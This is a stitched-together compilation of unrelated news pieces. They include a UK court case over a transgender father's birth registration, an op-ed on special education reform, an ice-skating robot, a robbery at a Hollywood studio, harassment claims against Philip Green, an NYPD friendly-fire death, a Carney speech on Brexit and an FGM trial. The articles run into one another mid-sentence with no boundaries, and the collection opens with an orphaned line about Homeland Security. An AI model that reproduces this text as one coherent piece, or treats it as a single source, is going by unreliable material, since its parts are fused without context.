The Department of Homeland Security did not respond to the claims.A child born to a transgender man is at the centre of a landmark trial being overseen by the most senior family court judge in England and Wales.

The baby is the child of a single parent who was born a woman but now lives as a man after undergoing surgery.

The man wants to be identified as the childs father or parent on a birth certificate but a registrar has told him that the law requires people who give birth to be registered as mothers.

Stock image of a pregnant person person cradling their stomach

He has taken legal action against the General Register Office, which registers births and deaths in England and Wales, after complaining of discrimination.

Sir Andrew McFarlane, president of the Family Division of the High Court, is overseeing the case at a trial in London.

Sir Andrew McFarlane (pictured above), president of the Family Division of the High Court, is overseeing the case at a trial in London

He is analysing legal argument from lawyers representing the man, the baby, the head of the General Register Office, Department of Health and Social Care ministers and Home Office ministers.

Lawyers say that if Sir Andrew rules in favour of the man, the baby could be the first person born in England and Wales who will not legally have a mother. The man says being forced to register as a mother breaches his human right to respect for private and family life.

Such interference is not proportionate or necessary in the light of changes which have evolved in society, he says.

At a preliminary hearing last year, Mr Justice Francis said that, if the man won his case, ministers might have to consider changing the law.

He ruled the baby could not be identified in media reports and they should not reveal the childs gender or age or the mans age nor give any clue as to where they lived. Those restrictions remain in force.

Lawyers say other transgender men have given birth but have been registered on birth certificates as mothers.Nate Levenson is managing director at District Management Group, a consulting firm that helps schools and districts raise achievement, manage scarce resources, and deal with challenges like improving special education. Nate has also been a superintendent (in Arlington, Massachusetts) and school board member. This week, hell be writing about the new era of special education reform and whos making it possible. Nate can be reached at nlevenson@dmgroupk12.com .

Education reform of the last two decades often seems to pit leaders at the federal, state, or district level against the judgment of teachers. Whether its teacher evaluation or a seemingly endless array of new programs, many reforms have been pushed on teachers, and they have pushed back. The new era of special education reform, which I have dubbed Phase Three, seems different.

In Mondays post , I mentioned that teachers and special education leaders are embracing the new reform efforts that place great importance on core instruction, more instructional time, and teachers with strong content expertise. Today, Ill share why there is grassroots support for this new wave of special education reform.

Teachers and special education leaders know better than anyone else that the current approach to meeting the needs of students with disabilities is just too stressful, as well as not successful enough. All 50 states are reporting a shortage of special educators. They are leaving the profession at ever-increasing rates, and on the way out they tell their friends not to enter the field. Fewer young people are entering special education, while more exit. Teachers, therapists, and school psychologists are voting with their feet.

The new approach to special education has the potential to change this trend because it is as good for teachers as it is for students. It helps in three ways:



Its not just up to special educators

Teachers play to their strengths

There is more time with kids and less time on meetings and paperwork

Central to the new approach to special education is the importance of general education and the pivotal role of general education teachers. This contrasts greatly to the often unstated but widely held belief that special educators can pull kids from class, do their magic (whatever that may be), and return them to class all caught up. Extra help matters, but only when its in addition to, not instead of high quality, effective core instruction from general education teachers. Shared responsibility feels a lot better than passing the baton.

Also foundational to Phase Three special education reform is the notion that kids who struggle, especially those with disabilities, need and deserve teachers who are highly skilled and trained in the subject or task. The implication for teachers of this simple statement is vast. Many dont realize, but we ask too much of special educators, and they are too nice to say enough is enough (until they leave the profession).

Based on my firms review of schedules of over 40,000 special educators in over 100 districts, these hard-working teachers are asked to do more than any other role in a school. This includes identifying students with disabilities, writing IEPs, partnering with parents, consulting with general education teachers, teaching math, reading, writing, science, social studies, and managing behaviors. Oh, they also direct paraprofessionals.

Even at the secondary level, where the content is complex, most are asked to teach across multiple subjects, sometimes four content areas in a single day, as well as case manage and help with behavior challenges. No one can reasonably be expected to be an expert in all these fields. Few professionals have training, interest, and aptitude in such diverse endeavors. Ask a high school math teacher to also teach English or a U.S. history teacher to write a behavior plan, and they say, thats completely unreasonable, but special educators say, OK.

We shouldnt ask anyone to do this. Im saddened by how many hands go up when I ask a room full of special educators, Tomorrow, when you go to work, how many of you will spend a sizable portion of your day doing something that does not play to your skill, training, or aptitude?

The new era of special education reform allows staff to play to their strengths, be it teaching reading, managing behaviors, writing IEPs, and so on. As we let special educators play to their strengths, we also ask general education reading teachers, math teachers, and English teachers to help out with intervention and remediation as well. Team work and shared responsibility!

Lastly, this new reform effort values student outcomes as much, or more, than compliance. Yes, compliance matters, but nationwide special educators spend more time on meetings and paperwork than being with kids. This is out of proportion and out of alignment with our collective goals.

Through process mapping and explicitly placing greater emphasis on teaching time than compliance activities, schools can provide more instruction to students and more meaning to staff. Few special educators enter the profession because of a burning love for meetings, paperwork, testing, and report writing. In one meeting I hosted with school psychologists, they brainstormed over 20 practical steps that would free up their time to work more with students, and they relished the opportunities this would allow them.

Its not surprising that when the state of Vermont recently passed sweeping special education reform based on these best practices, special educators and the Vermont Council of Special Education Administrators supported the effort. They could see that this would improve the lives of both teachers and students.

As more schools and districts adopt these new special education best practices, they will be helping teachers as much as students, and both deserve better than the status quo.

On Friday, learn why taxpayers also benefit from the new approach to special education.

Nate LevensonScientists have taught a robot how to ice skate in the hopes of it eventually being useful in search and rescue missions.

Stelian Coros, a professor at the Computational Robotics Lab at ETH Zurich, revealed the robot - dubbed Skaterbot - largely taught itself the skill after being shown the mechanics of how one skate behaved on the ice.

He explained: In particular, the fact that its free to move in the direction of the blade, and it has high-friction forces in a direction thats orthogonal [at a right angle] to it.

Scientists have taught a robot how to ice skate at the Computational Robotics Lab at ETH Zurich

Speaking to BBC Click, he added: 'After this, the robot figures out entirely on its own how to move on ice.'

The professor said: 'I envision a moment in the not-too-distant future where it will be as easy to create robots as it is to currently make structures out of LEGO blocks, for example.'

The robot can also reportedly learn how to skate with more than four legs.

It is hoped that Skaterbot will eventually be used for activities ranging from making deliverers to helping search and rescue missions.

'Considering that these are our first baby steps on ice, I think that our robot did quite well,' Mr Coros told ETH Zurich.Atlanta rapper Rich the Kid and his entourage were robbed at a famous Hollywood recording studio while Usher was working inside, it has been revealed.

Witnesses told TMZ that as many as 10 shots were fired outside the Westlake Recording Studio around 3.13pm on Tuesday afternoon.

The gunman, who has not been identified, opened fire as he ran away from the studio.

Authorities said that Usher was inside the studio and was not harmed during the incident.

Scroll down for video

Atlanta rapper Rich the Kid (left) and his entourage were robbed at a famous Hollywood recording studio while Usher (right) was working inside

Rich the Kid could be seen talking to paramedics and being examined after the robbery

But sources told TMZ that Rich, 26, was the target of a robbery at the studio, and that multiple members of his entourage were attacked.

Police said that three suspects confronted Rich, whose real name is Dimitri Roger, and two members of his entourage in an alley behind the recording studio.

The three men demanded money and jewelry from the rapper and his companions and then physically assaulted them.

One of Rich's bodyguards was 'badly pistol-whipped' and the suspects reportedly 'made off with a ton of cash and jewelry'.

Sources said Rich, 26, was the target of the robbery at the studio and that multiple members of his entourage were attacked

Police said that three suspects confronted Rich, whose real name is Dimitri Roger, and two members of his entourage in an alley behind the recording studio

The suspects then ran from the scene, firing multiple shots before they fled in a white sports car.

Witness Ray Leon saw one of the men take out a gun and fire six shots into the street.

'I just heard pop, pop, pop,' he told ABC 7. 'There was about six pops. I got down really quick. He was firing and the car sped away.'

Aerial footage of the scene showed Rich speaking to paramedics following the incident.

Police said three people were treated at the scene and released. Rich's representatives have said he is doing okay after the robbery.

Just four hours before the alleged robbery occurred, Rich the Kid posted a picture of himself standing in front of a Lamborghini and holding a stack of cash in one hand

The suspects ran from the scene, firing multiple shots before they fled in a white sports car

Police said three people were treated at the scene and released. Rich's representatives have said he is doing okay after the robbery

Los Angeles County Sheriff deputies blocked off the streets as they searched for suspects and examined evidence, including multiple shell casings.

Just four hours before the alleged robbery occurred, Rich the Kid posted a picture of himself standing in front of a Lamborghini and holding a stack of cash in one hand.

Four gold chains are seen hanging around his neck in the photo, and two gold bracelets and a watch adorn one of his wrists. The other is covered by a cast.

'Always in bank mo deposit,' the caption reads.

Los Angeles County Sheriff deputies blocked off the streets as they searched for suspects and examined evidence, including multiple shell casings

One of Rich the Kid's bodyguards was 'badly pistol-whipped' and the suspect reportedly 'made off with a ton of cash and jewelry'

The incident comes less than a year after Rich the Kid was hospitalized after he was attacked and robbed at gunpoint inside his girlfriend's home in Los Angeles.

Two masked men reportedly entered the resident and demanded cash and jewelry from Rich and Tori Brixx, who is currently pregnant with his child.

When Rich the Kid put up a fight, three more men entered the home and began attacking the rapper as well. They were reportedly carrying guns.

Westlake Recording Studio has attracted major names from the music industry for decades, including Madonna, Rihanna, Justin Bieber, and Michael Jackson.A health resort worker has claimed Sir Philip Green smacked her bottom and made sexual remarks to her at an Arizona ranch

A health resort worker has claimed Sir Philip Green smacked her bottom and made sexual remarks to her during his stay at a ranch in the US.

The woman said the retail tycoon, 66, made comments about S&M and touched her bottom for ten seconds on different occasions between 2016 and 2019.

Bosses at the Canyon Ranch in Arizona - where Greene owns a 2.3million holiday home - are said to have investigated the employee's complaint, but nothing came of it, according to The Sun.

The Topshop owner had been hiding out at the resort last October after he dropped an attempt to silence newspaper reports about him allegedly sexually harassing his staff.

The ranch worker, who wishes to remain anonymous, said she first complained to bosses in January 2016.

A source told the paper: 'She said Green came up to her and smacked her on the butt several times vigorously.'

The source went on to allege that 'two years later' he put his hand on her bottom for ten seconds during a hug before making a sexual comment about her wanting to tie men up.

They said Sir Philip then grabbed her hips from behind and patted her bare stomach.

The source said the worker was shaken up and wanted to hit him.

They added: 'Staff at the ranch live in fear of him. When people see his name on the guest list they're like, 'Brace yourselves'.'

Green told The Sun: 'I don't know anything about 2016. There was a complaint in 2017 or 2018.

'It was investigated by the ranch and nothing was found against me. In terms of the allegation  it did not happen. This is somebody I've known ten or 12 years  not two minutes.

Margot James (file image) said revelations about Sir Philip - made public after he dropped an attempt to silence newspaper reports about him - meant the 'forfeiture of his Knighthood must be a real possibility'

'She was always very friendly with me. I've been there and mixed well with everybody  there's never been one issue.'

Canyon Ranch said: 'We do not discuss personnel matters and we do not tolerate harassment towards our employees.'

The claims come after a Government minister warned Sir Philip Green was not 'worthy' of his Knighthood.

Margot James said revelations about Sir Philip meant the 'forfeiture of his Knighthood must be a real possibility'.

The Culture Minister said the Non-Disclosure Agreements (NDAs) used to suppress allegations by former employees 'sounds like a cover for gross misconduct'.

Sir Philip is accused of groping a female executive and making a racial slur at an employee. Five former employees signed NDAs and Sir Philip sought a court injunction against the Daily Telegraph to keep them confidential.

Sir Philip strenuously denies the allegations and all unlawful conduct.Michael Hill International has had to let go of nearly 30 of its staff as the jewellery chain continues to make dramatic shakeups to its businesses.

Twenty-seven staff at the chain's global headquarters at Murarrie in Brisbane were handed redundancies this month, The Courier-Mail reported.

Senior management reportedly delivered the news without warning and employees were told to leave during a pop-up meeting.

Michael Hill International has had to let go of nearly 30 of its staff as the jewellery chain continues to make dramatic shakeups to its businesses (stock picture)

Twenty-seven staff at the chain's global headquarters at Murarrie in Brisbane (pictured) were handed redundancies this month

'It was completely out of the blue,' said one staff member who wished to remain anonymous after he was given the axe.

'We were called in and told we didnt have a job.'

The staff member went on to say knowledge of downsizing was no mystery.

In the past six months, staff had watched contracts for middle-management positions not get renewed.

Though the shocking number of redundancies that were doled out in one day, was something nobody was expecting.

Jobs were cut across all sections, from manufacturing to office admin.

A Michael Hill spokesman confirmed the job loss at the support centre and said that fundamental changes had to happen in a changing market.

'It is however necessary that our internal capabilities and structures evolve to support the changing needs of our business and customers, so that we can continue to operate a successful business and provide employment to thousands of people in Australia and globally, and deliver our growth strategy for shareholders,' he said.

The spokesman went on to say the support centre would still play an integral role in the jewellery chain's business model.

He said Michael Hill Jeweller would provide the recently-made jobless staff with ongoing access to EPA, outplacement and other career transitional services.

The job cuts are the latest episode in a long series of cutbacks the jewellery chain has made.

Only in March last year, Michael Hill International announced it would reduce the number of Emma and Roe stores to six and close 24 other brick and mortar outlets.

In the past six months, staff had watched contracts for middle-management positions not get renewed (stock picture)

Only in March last year, Michael Hill International announced it would reduce the number of Emma and Roe stores to six and close 24 other brick and mortar outlets (stock picture)

'The company considers that the six store footprint will provide the opportunity to iterate the new model at speed based on customer insights and operating experience,' Michael Hill said in a statement at the time.

The jewellery chain said it intended to trial this store footprint size up until the end of 2019.

The change was made as Michael Hill chose to capitalise on a 'major opportunity' and concentrate on demi-fine jewellery.

The type of jewellery refers to accessories that look stylish and high-end, but are affordable.

Michael Hill said it was going to reshape the Emma and Roe brand to take advantage of the profitable market.

'The demi-fine segment allows customers with a preference for fine jewellery to achieve their desired look but at a lower price,' Michael Hill said in the statement.

The reduction brought down the 2015 figure of the number of Michael Hill and Emma Roe stores in New Zealand, Australia, Canada and America.

At that time there were 303 stores overall.There was a Life of Brian moment in that corner of the Commons chamber where Tory backbench Remainers sit and smoulder.

Nicky Morgan (Loughborough) has been cast out by her former friends Anna Soubry (Broxtowe), Justine Greening (Putney) and deadly Dr Phillip Lee (Bracknell).

Honker Nicky, poor love, has been punished for straying from the path of purity. Her crime? She talked to pro-Brexit colleagues. Collaborating with the enemy!

You will remember that in Monty Pythons Life of Brian, four beetle-browed obsessives, forming the Peoples Front of Judea, mutter their hatred for the rival Judean Popular Front and the equally rival Judean Peoples Front. Splitters!

Nicky Morgan (pictured) (Loughborough) has been cast out by her former friends Anna Soubry (Broxtowe), Justine Greening (Putney) and deadly Dr Phillip Lee (Bracknell)

One of these hardliners asks leader Reg (played by John Cleese): What happened to the Popular Front? Reg points at a distant, bearded loony and says: Hes over there. More cries of: Splitter!

Theresa May had come to the Commons shortly before lunch yesterday to make one of her artfully uninformative statements on Brexit. These have acquired a Kafkaesque quality, the terminology being technical, the so-called negotiations never advancing any faster than a subterranean stalactite.

Yesterday the Prime Minister talked of her ongoing work and she told the House that she was pursuing further talks with the European Union. MPs groaned.

Mrs May: We now need some time to complete that process. A heckler: Youve had two years!

Up in Tory Remainer corner, the Reg of the operation, Beaconsfields Dominic Grieve, admired his fingernails. Near him twitched Comrade Soubry, sitting between Sister Greening and Brother Lee. Listening to Mrs May, they settled for the occasional tsk and disbelieving shake of the head.

Mrs Morgan used to sit with this little band of desperadoes. No more. Not since she started consorting with the evil, evil Brexiteers and a few like-minded Centrists. Yesterday she was a few yards along the bench, on the other side of Government suck-up Simon Hoare (N Dorset).

When Mrs Morgan was given a chance to put a question she mentioned that she had been invited by Mrs May to join the alternative arrangements working group which is trying to glue together some agreement between Europhiles and Eurosceptics.

She added, with regret, that Jeremy Corbyns Labour Party did not seem likely ever to support such a quest.

From Mrs Morgans left (i.e. from Soubry & Co) there came open ridicule: they laughed, they wriggled in their seats with mockery, Dr Lee slapped his forehead and shielded his face, while Miss Soubry whacked Miss Greening in a dont set me off! way, and muttered words that were inaudible but did not look kindly.

Theresa May had come to the Commons shortly before lunch yesterday to make one of her artfully uninformative statements on Brexit

Now Dr Lee was throwing back his neck, chewing and laughing. All this must have been entirely evident to Mrs Morgan.

Reg Grieve kept out of it, at least in public. Also near this group sat Sir Oliver Letwin (W Dorset), another Remainer but not quite a member of the Grieve gang.

He was next to Stephen Hammond, a Remainerish plotter who is supposed to be a Government minister. Another anti-Brexit agitator, Nick Boles (Grantham & Stamford), wandered in to whisper something to Sir Oliver. He was ignored by Miss Soubry. Cut him dead, she did. With such rivalries, it seems off that Remainers should cleave to something called a union.

In other news, ancient Tory EU-fetishist Ken Clarke was cheered by Labour for slagging off British trade prospects. And Mr Corbyn made rather a good joke.

He complained that he had not received the usual advance copy of Mrs Mays remarks. He assumed she must have entrusted it to Chris Grayling to deliver. This won a strong laugh. Among those chuckling were ministers Steve Brine and Victoria Atkins.

The Scots Nats Ian Blackford got into a tangle with Mrs May and shouted, from his seat, that she was a liar.

The Speaker, after some delay, persuaded a sullen Mr Blackford to withdraw this expression. Here in this cockpit of cant you are not permitted to call MPs liars. Good gracious no.Former television host Megyn Kelly hit out at comedian Sarah Silverman on Twitter over a foul-mouthed tweet she aimed at President Trump.

Silverman on Monday responded to Trumps tweet from Sunday questioning global warming and mocking Senator Amy Klobuchar for announcing her candidacy for president in the snow.

No point in explaining how mind blowingly stupid this tweet is so Im just gonna go with F*** YOU, and also add that you are a smelly penis hole with balls that touch water, Silverman tweeted on Monday.

Eat s***, you greedy t***.

Journalist Megyn Kelly (left) slammed comedian Sarah Silverman (right) for a foul-mouthed tweet slamming President Trump on Monday

No point in explaining how mind blowingly stupid this tweet is so Im just gonna go with F*** YOU, and also add that you are a smelly penis hole with balls that touch water, Silverman tweeted on Monday. Eat s***, you greedy t***.

Kelly, the former Fox News host who was fired by NBC News after her comments about blackface this past fall, tweeted in response to Silverman: This woman wants to star in childrens movies produced by Disney. (And just did, in Ralph Breaks the Internet.)

Silverman posted three tweets in response. The first one read: Its true! I am a blue explicit often political comedian and also love doing voices for children. I know its easier if people are one thing but no one is, not even you!'

The second tweet to Kelly read: Ps Im more offended by a president who denies a real threat 97% of scientists beg him to take action on while creating a fake threat out of at-risk brown people at the border'

The final tweet was a plug for Ralph Breaks the Internet, which Kelly mentioned in her tweet. Which is out on digital TODAY! Silverman wrote in the tweet, which included three heart emojis

Kelly, the former Fox News host who was fired by NBC News after her comments about blackface this past fall, tweeted in response to Silverman: This woman wants to star in childrens movies produced by Disney. (And just did, in Ralph Breaks the Internet.)

Silverman posted three tweets in response.

The first one read: Its true! I am a blue explicit often political comedian and also love doing voices for children.

I know its easier if people are one thing but no one is, not even you!

We all have many sides and I think thats ok. Peace Ma.

Silverman was initially angered by Trumps tweet about Senator Amy Klobuchar on Sunday

Klobuchar announced on Sunday that she was running for president on a snowy day at an outdoor event on Boom Island, a park that juts into the Mississippi River in Minneapolis

The second tweet to Kelly read: Ps Im more offended by a president who denies a real threat 97% of scientists beg him to take action on while creating a fake threat out of at-risk brown people at the border.

The final tweet was a plug for Ralph Breaks the Internet, which Kelly mentioned in her tweet.

Which is out on digital TODAY! Silverman wrote in the tweet, which included three heart emojis.

Silverman was initially angered by Trumps tweet about Klobuchar on Sunday.

From left to right: John C. Reilly, Silverman, and Gal Gadot attend the European premiere of Ralph Breaks the Internet in London this past November

'Well, it happened again, the president wrote on Twitter.

Amy Klobuchar announced that she is running for President, talking proudly of fighting global warming while standing in a virtual blizzard of snow, ice and freezing temperatures.

Bad timing. By the end of her speech she looked like a Snowman(woman)!,'

Klobuchar made her announcement on a snow-filled day in Minneapolis on Sunday, in a speech that countered the president's policies on climate change and immigration along with knocking his divisive tone in politics.

Klobuchar did mention climate change in her remarks, vowing to reverse the president's policies when it comes to the environment.The head of MI6 is to stay on beyond his retirement date to deal with any post-Brexit turmoil, it has been reported.

Alex Younger, who has been in the role for almost five years, is due to retire in November - but could now stay on for an extra 12 to 24 months.

Whitehall officials are keen for stability during the period of Britain's departure from the European Union, according to sources close to The Times.

And would like the heads of security and intelligence services to remain in place during the difficult period of transition following Brexit.

Alex Younger (pictured), who has been head of MI6 for almost five years, is due to retire in November - but could now stay on for an extra 12 to 24 months

Should his extension be confirmed, he will be the longest-serving head of MI6 since Sir Dick White, who stayed in post for 12 years after his appointment in 1956 - due to the Cold War.

It is unusual for someone in the role to stay on for more than five years, with Mr Younger's predecessors Sir John Sawers, Sir John Scarlett and Sir Richard Dearlove all leaving within that period.

But Andrew Parker, the head of MI5, has agreed to remain in the role during the post-Brexit transition period - until 2020.

And one former senior Whitehall official told The Times: 'The five-year stint is not set in concrete.'

In December last year Mr Younger (pictured), known by the code name 'C', told students at his alma mater, the University of St. Andrews in Scotland, that Britain will fortify its intelligence ties to European counterparts

No official word has yet been made on Mr Younger's future, and the Foreign Office has not commented on the report.

In December last year Mr Younger, known by the code name 'C', told students at his alma mater, the University of St. Andrews in Scotland, that Britain will fortify its intelligence ties to European counterparts even though Britain is leaving the European Union next year.

He encouraged students to seek employment at MI6 even if they don't fit the typical profile of an intelligence officer.

MI6 deals with international security challenges. The official threat level in Britain is set at 'severe,' indicating that intelligence analysts believe an attack is highly likely.

News of his reported departure comes as Theresa May 's chief Brexit negotiator Olly Robbins was heard telling colleagues in a hotel bar that MPs would face 'extended talks' if the deal was not backed.

Mr Robbins was overheard by ITV's Angus Walker following the meeting at the UK Ambassador's Residence between Michel Barnier and Brexit Secretary Stephen Barclay.

'The issue is whether Brussels is clear on the terms of extension,' he was overheard saying by Mr Walker.

'In the end they will probably just give us an extension.'

It was also reported today that once Mr Yougner stands down, an internal candidate is likely to replace him as head of the organisation (the MI6 building is pictured)

Questions remain over how intelligence will be shared between Britain and other EU countries - with such behavior having been key to preventing terrorist attacks in the past.

In January, two senior former security chiefs condemned Theresa May's Brexit deal - which was later voted down - as a threat to national security.

Ex-MI6 boss Sir Richard Dearlove and former head of the Armed Force Lord Charles Guthrie insisted the deal would 'threaten the national security of the country in fundamental ways'.

It is hoped that with Mr Younger in place during the Brexit transition period, ambiguities over the future relationship between security services can be more easily discussed.

It was also reported today that once he stands down, an internal candidate is likely to replace him.Detective Brian Simonsen, 42, (above) was shot and killed during a shootout with an armed robbery suspect at a T-Mobile store in Queens on Tuesday night

One NYPD officer has been shot dead and another is injured following a shootout at a T-Mobile store in Queens on Tuesday night.

Police were responding to a call about an armed robbery at the phone store in Richmond Hill just before 6.15pm when a gun battle broke out.

Det Brian Simonsen, 42, was shot in the chest and later died. Squad Sgt Matthew Gorman was also shot in the hip during the confrontation. It is unclear whether either officer was wearing a bulletproof vest.

Simonsen and Gorman entered the store and were confronted by a suspect wielding what turned out to be a fake gun, Commissioner James O'Neill said at a press conference Tuesday night.

The officers opened fire on the suspect, and as they backed out of the store, they were struck by bullets from cops outside, O'Neill said.

'Make no mistake about it, friendly fire aside, it is because of the actions of the suspect that Detective Simonsen is dead,' the commissioner said as he choked back tears.

The suspect, identified as 27-year-old Christopher Ransom of Crown Heights, Brooklyn, was shot 'multiple times' and left critically wounded. He is reportedly in critical condition at New York-Presbyterian Queens hospital.

The 'career criminal' was wanted for a previous phone store robbery in Jamaica, Queens. He reportedly goes by the nickname 'Detective'.

Scroll down for video

Simonsen (left) and squad Sergeant Matthew Gorman (right) were reportedly struck by friendly fire as they emerged from the T-Mobile store following a confrontation with an armed suspect inside. Gorman was shot in the hip and is reportedly in serious but stable condition

The suspect, identified as 27-year-old Christopher Ransom, was shot 'multiple times' and left critically wounded. He is reportedly in critical condition at New York-Presbyterian Queens hospital. Police say he was carrying a fake firearm

Gunfire erupted after police responded to reports of an armed robbery at the T-Mobile in Richmond Hill around 6.15pm Tuesday

Police salute as the body of Det Simonsen is moved from Jamaica Hospital by ambulance

Commissioner James O'Neill (above) said at a press conference: 'Make no mistake about it, friendly fire aside, it is because of the actions of the suspect that Detective Simonsen is dead'

A witness told the New York Daily News that before police arrived, one of the robbers, dressed in black, could be seen forcing two employees to the back of a T-Mobile store at gunpoint.

Chaos erupted as soon as police pulled up and dozens of shots rang out.

Officers could be heard frantically calling for backup on emergency radio transmissions.

'Shots fired! Shots fired!' one officer exclaimed in audio obtained by the NYDN.

'Central, he's in the store. Hes going to the back He's still in the store, central. He's still in the store.'

The sergeant wounded in the shootout could be heard saying: 'Be advised, I'm shot. The perp's in the location.'

Police officers on the scene had desperately called for a 'blood bank', indicating that at least one of the officers was in need of a life-saving transfusion.

Simonsen, whose 19th anniversary with the department was coming up in March, leaves behind a wife and two children.

'We lost a very good man,' Mayor Bill de Blasio said of the hero detective.

Simonsen's death marks the NYPD's first line-of-duty fatality since 2017.

Distraught family members are seen arriving at Jamaica Hospital, where the two officers were brought for treatment after the shooting

Dozens of police officers gathered at the hospital awaiting news about the officers' conditions

Witness video appeared to show officers escorting a suspect out of the store

Commissioner James O'Neill confirmed the shooting on Twitter, writing: 'An on-duty NYPD officer has been shot in Queens during what appears to be an armed robbery.'

Both Simonsen and Gorman were taken by patrol car to Jamaica Hospital, officials said.

Dozens of officers were seen hugging and crying in the hospital lobby as Mayor Bill de Blasio arrived shortly after the shooting.

A heavy police presence remained on the scene hours after the altercation

Mayor Bill Deblasio arriving at Jamaica Hospital in Queens where an NYPD Detective has just been pronounced dead. pic.twitter.com/YOjqhA5lDN  BreakinNewz (@BreakinNewz01) February 13, 2019

Witnesses to the shocking shootout reported hearing at least 15 to 20 gunshots exchanged between police and the suspects.

'There was so much gunfire you could smell the smoke in the air,' neighborhood resident Jason Parodi told the NYDN.

Arwin Singh, a 31-year-old construction contractor who lives across from the T-Mobile store, told the outlet: 'I looked out and the cops were running into [the store] to get them.

'There were two guys who put their hands on their heads. I couldnt tell if they were robbers or workers. Then the cops came out and put one guy in an ambulance.'

He added: 'The store has been robbed before but nothing as bad as this.'An accountancy firm has been forced to apologise after a flurry of complaints over its controversial newsletter.

New Zealand firm Perriam & Partners published its newsletter this month that included stories about women refusing to have sex with their husbands.

The newsletter sparked controversy when it was posted on social media with women across the country slamming it as 'sexist and offensive'.

New Zealand firm Perriam & Partners published its newsletter this month that included stories about women refusing to have sex with their husbands

'Man uses excel spreadsheet to record wife's reasons for turning down sex,' a story in the newsletter read.

'The excuses varied from feeling 'sweaty and gross', to 'watching the show (friends re-run), and 'I'm too tired'. Sound familiar?'

Another story began with: 'Being male, it ain't easy.'

'Merely being male would seem to be a problem, There are too many in parliament, we have too many male judges, doctors, airline pilots and boardroom representations, just to name a few.

'Yet, we're the ones that fought in major wars and many, many other battles. The animal kingdom is still governed predominantly by the male.'

Perriam & Partners have been forced to apologise after a number of women across the country complained.

Perriam & Partners have been forced to apologise after a number of women across the country complained

The firm has also had to delete its Facebook page since the scandal broke.

When approached by Daily Mail Australia the company refused to comment further.

However, Perriam & Partners director Warren Perriam told Stuff four people who were not clients had taken issue with the newsletter.

'We apologised to each of them personally and that we regretted any offence that was caused and offered to remove the publication from our website which we immediately did.'

He said no offence was intended and if any was taken then he did 'unreservedly apologise'.Brexit could restore faith in free trade and democracy if the UK leaves with a deal, the Bank of England Governor has said.

In a statement sharply at odds with his previous warnings that Brexit would spark chaos, Mark Carney said a managed departure from the EU would show voters that they matter and encourage them to trust the parliamentary system again.

But he also warned that a No Deal Brexit would spark an economic shock  something which he says the whole world should be trying to avoid.

Brexit could restore faith in free trade and democracy if the UK leaves with a deal, the Bank of England Governor, Mark Carney has said

The Governor said millions of workers feel let down and left behind by globalisation  and the only solution is to give power back to the people.

He added that a Brexit deal may be a step towards a world where families are comfortable with free trade because they feel in control.

The Governor said: In many respects, Brexit is the first test of a new global order and could prove the acid test of whether a way can be found to broaden the benefits of openness while enhancing democratic accountability.

He said Brexit could lead to new international cooperation, allowing for better cross-border trade deals and a more effective balance of local and supranational authority.

Mr Carneys backing for Brexit if a deal is struck marks a major change of tone.

He has long been accused by Eurosceptics of opposing our departure from the EU and whipping up Project Fear.

And in the run-up to the referendum, he was attacked for politicising the Bank of England when he claimed Brexit could trigger a recession.

Junker's job headche The European Commission broke its own rules when a close ally of Jean-Claude Juncker was given a top job, a Brussels watchdog has found. Emily OReilly, the European Ombudsman, criticised the way Mr Junckers former chief of staff Martin Selmayr was handed the role as Commission Secretary General, making him the EUs most senior civil servant. Mr Selmayr was promoted twice in ten minutes in a closed-door meeting in February last year. In her report yesterday, the Ombudsman said she found several instances of maladministration in the handling of the appointment. She wrote: Mr Selmayrs appointment did not follow EU law, in letter or spirit and did not follow the Commissioners own rules. She said the vacancy of Commission Secretary General should be advertised to external candidates. The Commission dismissed the report last night, saying: We have a different reading of the applicable rules. A spokesman added: The person currently occupying this post fully meets all the demanding requirements for the job. Advertisement

Last year, Mr Carney claimed the vote to leave had cost households 900 each by damaging economic growth  and he has always been one of the loudest critics of No Deal.

The Bank also claimed No Deal could tip Britain into its worst recession for a century, knocking a third off house prices and triggering a dramatic surge in unemployment.

Mr Carney yesterday warned again that a deal is needed to avoid chaos  although he sounded more upbeat about the future following an orderly exit from the EU than he has done previously.

The Governor said that Britains departure from the European Union comes at a time of growing risks for the global economy. He also said that No Deal would be a shock for this economy, and said that UK investment has not grown since the referendum was called  having dramatically underperformed both history and peers.

Mr Carney used his speech  given to senior business figures at Londons Barbican  to warn them that China is increasingly risky and businesses around the world are taking on worrying levels of debt.

He said: China is the one major economy in which all major financial imbalances have materially worsened. While Chinas economic miracle over the past three decades has been extraordinary, its post-crisis performance has relied increasingly on one of the largest and longest running credit booms ever.

A 3 per cent drop in the Chinese economy would shave 0.5 per cent off the UK, he warned.

Last year, Mr Carney claimed the vote to leave had cost households 900 each by damaging economic growth  and he has always been one of the loudest critics of No Deal. Pictured Brexit protesters

On corporate debt, he said a surge in high-risk business lending has worrying echoes of the US boom in unsustainable loans which led to their financial crisis in 2008.

Firms which are less likely to pay money back are increasingly being lent large amounts, although the banking system is thought to be much less exposed to a downturn now than it was in 2008.

Mr Carney also took a swipe at Donald Trump, who has cracked down on imports from China. The US President once tweeted: Trade wars are good and easy to win.

But speaking yesterday, Mr Carney batted away Mr Trumps casual brag, saying: Contrary to what you might have heard, it isnt easy to win a trade war.The woman is on trial in Brisbane District Court (pictured)

A Queensland woman accused of arranging for her two daughters to undergo female genital mutilation claimed what happened to them was 'from God', a court has heard.

The woman, who cannot be named for legal reasons, was interviewed by police soon after bringing the girls, aged 12 and nine, home to the Logan area, south of Brisbane, after a seven-month trip to Somalia in late 2015.

Through a interpreter, she told police their trip had been to visit her mother and she'd done 'nothing' in relation to a genital mutilation procedure.

Whatever had happened to the girls was 'from God', she said.

The woman is on trial in Brisbane District Court, fighting two counts of removing a child from the state for female genital mutilation.

She has pleaded not guilty to the allegations.

On Tuesday, the jury also heard the girls told a Queensland detective 'yes, we both had it done' when asked if they had a procedure in Somalia.

They pointed to their genitalia when they made that comment at their home during a first encounter with police, the court heard.

Prosecutors allege the girls were unaware when they taken to Africa in April 2015 they would be undergoing a procedure to remove parts of their genitalia, which occurred in their mother's presence.

(File picture) A Queensland woman is accused of arranging for her two daughters to undergo female genital mutilation

A doctor who examined the girls testified it was unlikely abnormalities to their genitals he observed were caused by 'natural variation'.

Pediatrician Ryan Mills examined the girls after they had spoken to police, saying flattening of their clitoral hoods and discolouration of associated skin was 'abnormal'.

'There was not that normal 'tenting'. There wasn't the normal fleshiness to the region,' Dr Mills said.

'The skin was flat.

'You would have to think that it occurred by some sort of cutting.'

Under cross-examination, Dr Mills was asked if the abnormalities could have been a 'natural' condition such as lichen sclerosus, which causes patchiness of skin in the genital area.

(File picture) Pediatrician Ryan Mills examined the girls after they had spoken to police

